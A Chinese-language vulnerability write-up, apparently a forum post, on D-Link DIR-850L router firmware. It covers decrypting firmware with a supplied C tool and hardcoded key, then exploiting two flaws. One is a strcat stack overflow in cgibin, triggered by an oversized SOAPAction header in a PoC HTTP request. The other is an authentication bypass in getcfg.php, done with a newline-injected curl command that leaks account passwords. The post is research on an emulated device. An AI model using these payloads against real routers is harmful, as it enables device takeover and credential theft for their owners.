前期准备

固件下载:

ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP
ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVB/DIR-850L_REVB_FIRMWARE_2.07.B05_WW.ZIP

我们用binwalk分析一下1.14固件

iot@pwn:~/Desktop/tools/firmadyne$ binwalk DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 94426, uncompressed size: 104699, name: DIR-850L_REVA_RELEASENOTES_1.14.B07_EN_WW.PDF
94501         0x17125         Zip archive data, at least v2.0 to extract, compressed size: 9628229, uncompressed size: 9678992, name: DIR850LA1_FW114b07WW.bin
9722945       0x945C41        End of Zip archive, footer length: 22

我们再用binwalk分析一下2.07固件

iot@pwn:~/Desktop/iot$ binwalk DIR850LB1_FW207WWb05.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

我们发现什么信息也获取不到,应该是被加密了,我们解密一下

这是解密固件的程序:

/* 
 * Simple tool to decrypt D-LINK DIR-850L REVB firmwares 
 *
 * $ gcc -o revbdec revbdec.c
 * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define USAGE "Usage: decimg <filename> <key>\n"

int main(int    argc,
         char   **argv)
{
        int     i, fi;
        int     fo = STDOUT_FILENO, fe = STDERR_FILENO;

        if (argc != 3)
        {
                write(fe, USAGE, strlen(USAGE));
                return (EXIT_FAILURE);
        }

        if ((fi = open(argv[1], O_RDONLY)) == -1)
        {
                perror("open");
                write(fe, USAGE, strlen(USAGE));
                return (EXIT_FAILURE);
        }

        const char *key = argv[2];
        int kl = strlen(key);

        i = 0;
        while (1)
        {
                char buffer[4096];
                int j, len;
                len = read(fi, buffer, 4096);
                if (len <= 0)
                        break;
                for (j = 0; j < len; j++) {
                        buffer[j] ^= (i + j) % 0xFB + 1;
                        buffer[j] ^= key[(i + j) % kl];
                }
                write(fo, buffer, len);
                i += len;
        }

       return (EXIT_SUCCESS);
}
iot@pwn:~/Desktop/iot$ gcc -o revbdec revbdec.c
iot@pwn:~/Desktop/iot$ ./revbdec DIR850LB1_FW207WWb05.bin wrgac25_dlink.2013gui_dir850l > DIR850LB1_FW207WWb05.decrypted
iot@pwn:~/Desktop/iot$ ls
DIR850LB1_FW207WWb05.bin            dump1090  revbdec.c
DIR850LB1_FW207WWb05.decrypted      DVRF      rtl-sdr
DIR-850L_REVA_FIRMWARE_1.14.B07_WW  revbdec
iot@pwn:~/Desktop/iot$ binwalk DIR850LB1_FW207WWb05.decrypted 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10517760 bytes; big endian size: 8232960 bytes
1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8231815 bytes, 2677 inodes, blocksize: 131072 bytes, created: 2016-03-29 04:08:14

分析一下固件,是Squashfs filesystem,我们用binwalk -Me将固件解压

然后用firmdyne模拟固件


栈溢出漏洞

漏洞文件位于squashfs-root/htdocs/cgibin

先看下保护:

[*] '/squashfs-root/htdocs/cgibin'
    Arch:     mips-32-big
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=OLnLaWBI8S
Connection: close

汇编:

0x00414130 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv
0x00414134 0320f809 jalr t9
0x00414138 24847dac addiu a0, a0, 0x7dac ; HTTP_SOAPACTION
0x0041413c 3c040042 lui a0, 0x42
0x00414140 8fbc0020 lw gp, 0x20(sp)
0x00414144 2484615c addiu a0, a0, 0x615c
0x00414148 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv
0x0041414c 0320f809 jalr t9
0x00414150 00408821 move s1, v0 ; HTTP_SOAPACTION saved to s1
...
...
...
0x00414a14 02402021 move a0, s2 ; arg1 (dest)
0x00414a18 8fbc0020 lw gp, 0x20(sp)
0x00414a1c 8f9982b0 lw t9, -0x7d50(gp) ; [0x43abf0:4]=0x4253e0 sym.imp.strcat
0x00414a20 0320f809 jalr t9 ; Call to strcat
0x00414a24 02202821 move a1, s1 ; arg2 (src)

伪代码:

这个漏洞是由于使用strcat()函数没有限制长度引起的,此漏洞能够覆盖PC,从而控制程序的执行流,允许任意代码执行。在处理HTTP_SOAPACTION内容时,getenv获取环境变量值,但没有长度限制,将其拼接在 HNAP_AUTH后,超过547字节后,将覆盖PC

POC:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=kV8BSOXCoc
Connection: close

文件读取漏洞

漏洞点位于 /htdocs/web/getcfg.php


这里有个读取文件的漏洞,要求GETCFG_SVC可控,从而利用dophp函数进行文件读取。

要想进入这个函数首先使is_power_user 函数返回值为1,只有当全局变量AUTHORIZED_GROUP>=0的时候,函数才会返回1,全局变量 AUTHORIZED_GROUP 是由cgibin中传入的,下面我们分析一下cgibin文件

cgibin首先判断请求类型(HEAD、GET、POST)

我们定位到cgibin处理post请求的地方,发现调用了cgibin_parse_request函数

cgibin_parse_request在处理http请求的时候,经过sess_validate 验证的数据,赋值给 AUTHORIZED_GROUP ,因此可以非授权用户可以直接给AUTHORIZED_GROUP赋值来绕过验证

我们可以看出在调用 sobj_add_char 函数时,会用0xA,('\ n') 来分隔参数

所以我们构造的poc为

curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[IP]/getcfg.php"

curl -d :使用POST提交参数
SERVICES=DEVICE.ACCOUNT:构造DEVICE.ACCOUNT.xml.php配置文件
%0aURL编码,表示换行

可以看出成功泄露账户密码,由于我模拟的固件没设置密码,所以初始密码为空

参考文章

<https://www.nccgroup.trust/uk/our-research/d-link-dir-850l-web-admin-interface-vulnerable-to-stack-based-buffer-overflow/?research=Technical+advisories>

https://xz.aliyun.com/t/2941#toc-6

https://www.anquanke.com/post/id/175625#h3-5

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖